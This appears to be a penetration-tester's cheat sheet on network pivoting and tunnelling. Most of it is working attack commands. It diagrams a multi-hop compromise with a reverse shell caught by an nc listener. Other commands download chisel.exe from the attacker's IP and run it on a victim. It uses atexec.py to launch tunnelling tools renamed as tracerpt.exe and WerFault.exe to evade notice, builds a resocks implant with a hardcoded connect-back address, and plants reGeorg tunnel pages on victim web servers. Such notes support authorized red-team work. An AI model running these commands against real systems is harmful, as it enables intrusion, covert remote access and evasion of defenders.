Pivoting
Check if connections are allowed at a certain port (alternative to nc.exe and powercat.ps1):
# Test-NetConnection -ComputerName 10.10.13.37 -Port 4444
$port = $args[0]
$endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any, $port)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.Start()
Write-Host "Listening on port $port"
while ($true)
{
$client = $listener.AcceptTcpClient()
Write-Host "A client has connected"
$client.Close()
}Check if the machine can reach specific remote port when Test-NetConnection is not available (1, 2):
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x 'powershell (New-Object System.Net.Sockets.TcpClient("192.168.2.22", 445)).Connected' | grep -ai TrueUsing PortQryV2:
Cmd > PortQry.exe –n <IP> -p tcp/udp/both -e <PORT> -vSSH
Local vs Remote Port Forwarding
A cheatsheet for SSH Local/Remote Forwarding command syntax:
-L 1111:127.0.0.1:2222: the traffic is forwarded from SSH client via SSH server, so1111is listening on client-side and traffic is sent to2222on server-side.-R 2222:127.0.0.1:1111: the traffic is forwarded from SSH server via SSH client, so2222is listening on server-side and traffic is sent to1111on client-side.
Consider the following example. An attacker has root privileges on Pivot1. He creates the first SSH tunnel (remote port forwarding) to interact with a vulnerable web server on Pivot2. Then he exploits the vulnerability on Pivot2 and triggers it to connect back to Attacker via a reverse-shell (firewall is active, so he needs to pivot through port 443, which is allowed). After that the attacker performs PE on Pivot2 and gets root. Then he creates another tunnel (local port forwarding) over the first one to SSH into Pivot2 from Attacker. Finally, he forwards port 80 over two existing hops to reach another vulnerable web server on Victim.
Attacker (10.10.13.37) Pivot1 (10.1.1.1) Pivot2 (10.2.2.2) Victim (10.3.3.3)
┌──────────────────────────────────────────────────────────────────────┐ ┌───────────────────────────────────────────────┐ ┌────────────────────────────────┐ ┌───────────────────┐
│ 22 │ │ │ │ │ │ │
│ 1. ssh -R 443:127.0.0.1:9001 [email protected] ------------------------------► 10.1.1.1:22 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 2. │ │ Listens 0.0.0.0:443 ("GatewayPorts yes") │ │ │ │ │
│ │ │ │ │ │ │ │
│ 3. │ │ ~C ssh> -L 9002:10.2.2.2:80 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 4. Listens 127.0.0.1:9002 (to interact with web server 10.2.2.2:80) │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 5. shellpop -H 10.2.2.2 -P 443 --reverse --number 8 --base64 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 9001 over 10.1.1.1:22 │ │ 443 │ │ │ │ │
│ 6. rlwrap nc -lvnp 9001 ◄--- 127.0.0.1:9001 ◄----------------------------- 0.0.0.0:443 ◄───────────────────────────────┼──┼── Web server 10.2.2.2:80 │ │ │
│ │ │ │ │ │ │ │
│ 7. Got shell from 10.2.2.2 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 8. Got root on 10.2.2.2 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ │ │ ~C ssh> -L 9003:127.0.0.1:1337 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 9. Listens 127.0.0.1:9003 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ │ │ 22 │ │ │ │ │
│ │ │ ssh -L 1337:127.0.0.1:22 [email protected] ----------► 10.2.2.2:22 │ │ │
│ │ │ │ │ │ │ │
│ │ │ Listens 127.0.0.1:1337 │ │ │ │ │
│ │ │ │ │ │ │ │
│ 1337 over 10.1.1.1:22 │ │ 22 over 10.2.2.2:22 │ │ │ │ │
│ 10. ssh [email protected] -p 9003 -------------------------------------------► 127.0.0.1:1337 ----------------------------------► 127.0.0.1:22 │ │ │
│ │ │ │ │ │ │ │
│ │ │ │ │ ~C ssh> -L 9004:10.3.3.3:80 │ │ │
│ │ │ │ │ │ │ │
│ 11. Listens 127.0.0.1:9004 │ │ │ │ │ │ │
│ │ │ │ │ │ │ │
│ 1337 over 10.1.1.1:22 │ │ 22 over 10.2.2.2:22 │ │ │ │ │
│ 12. curl http://127.0.0.1:9004/ ------------------------------------------► 127.0.0.1:1337 ----------------------------------► 127.0.0.1:22 ────────────────┼──┼─► 10.3.3.3:80 │
│ │ │ │ │ │ │ │
└──────────────────────────────────────────────────────────────────────┘ └───────────────────────────────────────────────┘ └────────────────────────────────┘ └───────────────────┘Notes:
1For SSH server to listen at0.0.0.0instead of127.0.0.1, theGatewayPorts yesmust be set in/etc/ssh/sshd_config.1With SSH (or Chisel, for example) server running on the Attacker the same can be achieved by doing local port forwarding instead of remote.
snovvcrash@attacker:~$ ./chisel server -p 8000
root@pivot1:# nohup ./chisel client 10.10.13.37:8000 443:127.0.0.1:9001 &
root@pivot1:# netstat -tulpan | grep 443
tcp6 0 0 :::443 :::* LISTEN 18406/./chisel
snovvcrash@attacker:~$ rlwrap nc -lvnp 9001Remote Dynamic Forwarding
Attacker's IP:
10.10.13.37Victims's IP:
10.10.13.38
An example how to safely set remote dynamic port forwarding (SOCKS) with a builin SSH client.
Generate a dummy SSH key on Victim:
alice@victim:~$ ssh-keygen -f dummy_key -t ed25519 -q -N ""Add dummy_key.pub contents to authorized_keys on Attacker with the following options:
snovvcrash@attacker:~$ vi ~/.ssh/authorized_keys
from="10.10.13.38",command="echo 'Only port forwarding is allowed'",no-agent-forwarding,no-X11-forwarding,no-pty <DUMMY_KEY_PUB>Connect to Attacker's SSH server from Victim:
alice@victim:~$ ssh -fN -R 1080 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -i dummy_key [email protected]L2 VPN over SSH
Allow tunneling in SSH server config on Victim:
root@victim:~$ sudo vi /etc/ssh/sshd_config
...uncomment "PermitTunnel = yes"...
root@victim:~$ sudo service sshd restartConnect to Victim building a Ethernet tunnel:
snovvcrash@attacker:~$ sudo ssh -oTunnel=ethernet -w0:0 [email protected]Enable tap interfaces on both ends:
root@victim:~$ sudo ip link set tap0 up
snovvcrash@attacker:~$ sudo ip link set tap0 upPut Victim's interface and tap into bridge:
root@victim:~$ sudo ip link add br0 type bridge
root@victim:~$ sudo ip link set eth0 master br0
root@victim:~$ sudo ip link set tap0 master br0
root@victim:~$ sudo ip link set br0 upGet an IP address for tap on Attacker:
snovvcrash@attacker:~$ sudo dhclient -v tap0SOCKS over Hardened SSH
With AllowTcpForwarding set to no it's also possible to establish a SOCKS connection through active SSH connection:
snovvcrash@attacker:~$ cat tunnel.sh
ssh alice@victim "./socat TCP-LISTEN:2222,reuseaddr STDIO"
snovvcrash@attacker:~$ socat TCP:localhost:22 EXEC:./tunnel.sh
alive@victim:~$ ssh -R 1080 -p 2222 snovvcrash@attackernetsh / NetFirewallRule
Rules
Allow inbound traffic flow on port 5986/TCP:
Cmd > netsh advfirewall firewall add rule name="Windows Remote Management (HTTPS-In)" dir=in action=allow protocol=TCP localport=5986
Cmd > netsh advfirewall firewall delete rule name="Windows Remote Management (HTTPS-In)"
PS > New-NetFirewallRule -DisplayName "Windows Remote Management (HTTPS-In)" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 5986
PS > Remove-NetFirewallRule -DisplayName "Windows Remote Management (HTTPS-In)"Relay
Add a relay between two machines (need to be local admin).
Make any traffic hitting port 8443 on 0.0.0.0 to be redirected to 10.10.13.37 on port 443:
Cmd > netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8443 connectaddress=10.10.13.37 connectport=443 protocol=tcpShow active relays:
Cmd > netsh interface portproxy show v4tov4Remove a relay:
Cmd > netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8443TCP over RDP
xfreerdp + rdp2tcp
$ xfreerdp /cert:ignore [/client-hostname:WORKGROUP] /u:snovvcrash /p:'Passw0rd!' [/d:megacorp.local] [/g:RDS-GATEWAY.megacorp.local] /v:PC01.megacorp.local /dynamic-resolution +clipboard [/timeout:25000] [-sec-nla] [/drive:share,/home/snovvcrash/share] [/rdp2tcp:/home/snovvcrash/tools/rdp-tunnel/rdp2tcp]Reverse local port 9002 (on Victim) to local port 9001 on Attacker (good for reverse shells):
$ python rdp2tcp.py add reverse 127.0.0.1 9001 127.0.0.1 9002Forward local port 9001 (on Attacker) to local port 9002 on Victim (good for bind shells):
$ python rdp2tcp.py add forward 127.0.0.1 9001 127.0.0.1 9002Reverse tunnel web access via SOCKS proxy:
$ python rdp2tcp.py add socks5 127.0.0.1 1080
$ python rdp2tcp.py add reverse 127.0.0.1 1080 127.0.0.1 9003TCP over SMB
Tools
proxychains4 (proxychains-ng)
Install:
$ git clone https://github.com/rofl0r/proxychains-ng ~/tools/proxychains-ng && cd ~/tools/proxychains-ng
$ ./configure --prefix=/usr --sysconfdir=/etc
$ make
$ sudo make install
$ sudo make install-config
+ edit /etc/proxychains.confgraftcp
sshuttle
$ sshuttle -vr [email protected] 192.168.1.0/24 -e "sshpass -p 'Passw0rd!' ssh"
$ sshuttle -vr [email protected] 192.168.1.0/24 -e "ssh -i ./key"chisel
Attacker's IP:
10.10.13.37Victims's IP:
10.10.13.38
Reverse local port 1111 (on Victim) to local port 2222 (on Attacker):
$ ./chisel server -p 8000 -v --reverse
PS > (New-Object Net.WebClient).DownloadFile("http://10.10.13.37/chisel.exe", "$env:userprofile\music\chisel.exe")
PS > Get-FileHash -Alg md5 "$env:userprofile\music\chisel.exe"
PS > Start-Process -NoNewWindow -FilePath "$env:userprofile\music\chisel.exe" -ArgumentList "client 10.10.13.37:8000 R:127.0.0.1:2222:127.0.0.1:1111"
or
Cmd > [cmd /c] start "" /b chisel.exe ...Socks5 proxy in server mode:
alice@victim:~$ nohup ./chisel server -p 8000 --socks5 &
snovvcrash@kali:~$ ./chisel client 10.10.13.38:8000 [127.0.0.1:1080:]socksSocks5 proxy in server mode when direct connection to Victim is not available (not relevant as Chisel supports socks5 in client mode now):
snovvcrash@kali:~$ ./chisel server -p 8000 --reverse
alice@victim:~$ nohup ./chisel client 10.10.13.37:8000 R:127.0.0.1:8001:127.0.0.1:8002 &
alice@victim:~$ nohup ./chisel server -v -p 8002 --socks5 &
snovvcrash@kali:~$ ./chisel client 127.0.0.1:8001 [127.0.0.1:1080:]socksSocks5 proxy in client mode:
snovvcrash@kali:~$ ./chisel server -p 8000 --reverse --socks5 [--auth snovvcrash:'Passw0rd!']
alice@victim:~$ nohup ./chisel client [--fingerprint <BASE64_STRING>] [--auth snovvcrash:'Passw0rd!'] 10.10.13.37:8000 R:[127.0.0.1:1080:]socks &Quicky:
$ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'start "" /b C:\Windows\tracerpt.exe server -p 8000 --socks5 --auth snovvcrash:"Passw0rd!"'
$ sudo chisel client -v --auth snovvcrash:'Passw0rd!' 192.168.1.11:8000 127.0.0.1:1080:socks
$ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'taskkill /IM:tracerpt.exe /F && del C:\Windows\tracerpt.exe'SharpChisel
revsocks
snovvcrash@kali:~$ ./revsocks -listen :8000 -socks 127.0.0.1:1080 -pass 'Passw0rd!'
alice@victim:~$ ./revsocks -connect 10.14.14.3:8000 -pass 'Passw0rd!'rsockstun
$ openssl req -new -x509 -keyout cert.key -out cert.crt -days 365 -nodes
$ sudo rsockstun -listen :8000 -socks 127.0.0.1:1080 -cert cert -pass 'Passw0rd!'Quicky:
$ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'start "" /b C:\Windows\WerFault.exe -connect 10.10.13.37:8000 -pass "Passw0rd!"'
$ atexec.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'taskkill /IM:WerFault.exe /F && del C:\Windows\WerFault.exe'
Or get proc image first to make sure you're killing the right proc and kill by pid -- 'wmic process where "name='"'"'WerFault.exe'"'"'" get ProcessID, ExecutablePath'PowerShell
resocks
$ git clone https://github.com/RedTeamPentesting/resocks ~/tools/resocks && cd ~/tools/resocks && go build
$ export RESOCKS_KEY=`./resocks generate`
$ CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H windowsgui -X main.defaultConnectBackAddress=10.10.13.37 -X main.defaultConnectionKey=$RESOCKS_KEY"
$ ./resocks listen(Neo-)reGeorg
Generate a tunnel implant and copy it to the Victim web server from ./neoreg_servers/tunnel*:
$ python neoreg.py generate -k 'Passw0rd!'Connect to the implant (.aspx, for example):
$ python neoreg.py -k 'Passw0rd!' -u http://web01.megacorp.local/tunnel.aspx -l 0.0.0.0 -p 1337 [--skip]ssf
Map shells to users:
for port in `netstat -tulpan | grep 127.0.0.1 | grep ssfd | awk '{print $4}' | awk -F: '{print $2}'`; do echo "127.0.0.1:$port"; (echo qwinsta | nc 127.0.0.1 $port & sleep 1 && kill -s INT $!) 2>/dev/null | grep -a console; doneTelegram alers:
#!/bin/bash
# * * * * * /tmp/watchdog_new_sockets.sh ssfd
TOOL=$1
if [ "$(sudo netstat -tulpan | grep LIST | grep $TOOL | wc -l)" -gt 1 ]; then
MESSAGE="new $TOOL tunnel spawned at $(curl -s ifconfig.me)"
curl -s -X POST "https://api.telegram.org/bot$TOKEN/sendMessage" -d chat_id="$CHAT_ID" -d text="$MESSAGE" >/dev/null
fi#!/bin/bash
# * * * * * /tmp/watchdog_live_sockets.sh ssfd PC01
TOOL=$1
LABEL=$2
if [ ! -f /tmp/.ignore_sockets_watchdog -a "$(sudo netstat -tulpan | grep LIST | grep $TOOL | wc -l)" -lt 3 ]; then
MESSAGE="$TOOL tunnel died at $(curl -s ifconfig.me) ($LABEL)"
curl -s -X POST "https://api.telegram.org/bot$TOKEN/sendMessage" -d chat_id="$CHAT_ID" -d text="$MESSAGE" >/dev/null
touch /tmp/.ignore_sockets_watchdog
fi# ansible_run() { ANSIBLE_HOST_KEY_CHECKING=False ansible-playbook -u user --private-key ~/.ssh/id_ed25519 -i "$1," "${@:2}" }
- name: Install Sockets Watchdog with TG Notifications
hosts: all
vars:
watchdog_path: "/home/user/tools/watchdog_live_sockets.sh"
pre_tasks:
- name: Check Input Arguments
fail:
msg: >-
Usage: ansible_run 127.0.0.1 watchdog_live_sockets.yml -e "tool=ssfd" -e "label=PC01" -e "token=<TOKEN>" -e "chat_id=<CHAT_ID>"
when: tool is undefined or label is undefined or token is undefined or chat_id is undefined
run_once: true
- name: Upload Watchdog Script
copy:
dest: "{{ watchdog_path }}"
content: |
#!/bin/bash
TOOL=$1
LABEL=$2
TOKEN=$3
CHAT_ID=$4
if [ ! -f /tmp/.ignore_sockets_watchdog -a "$(sudo netstat -tulpan | grep LIST | grep $TOOL | wc -l)" -lt 3 ]; then
MESSAGE="$TOOL tunnel died at $(curl -s ifconfig.me) ($LABEL)"
curl -s -X POST "https://api.telegram.org/bot$TOKEN/sendMessage" -d chat_id="$CHAT_ID" -d text="$MESSAGE" >/dev/null
touch /tmp/.ignore_sockets_watchdog
fi
mode: 0755
- name: Add Cron Job
cron:
name: "{{ tool }} tunnels watchdog"
minute: "*"
job: "{{ watchdog_path }} {{ tool }} {{ label }} {{ token }} {{ chat_id }}"Services
Dev Tunnels
$ curl -sL https://aka.ms/DevTunnelCliInstall | bash
$ ssh -L 0.0.0.0:443:localhost:8443 -N teamserver
$ devtunnel host -p 443 --allow-anonymous --protocol httpsDon't forget to set Cookie: *tunnel_phishing_protection=xxxxyyyy.euw
Cloudflare Tunnels
Last updated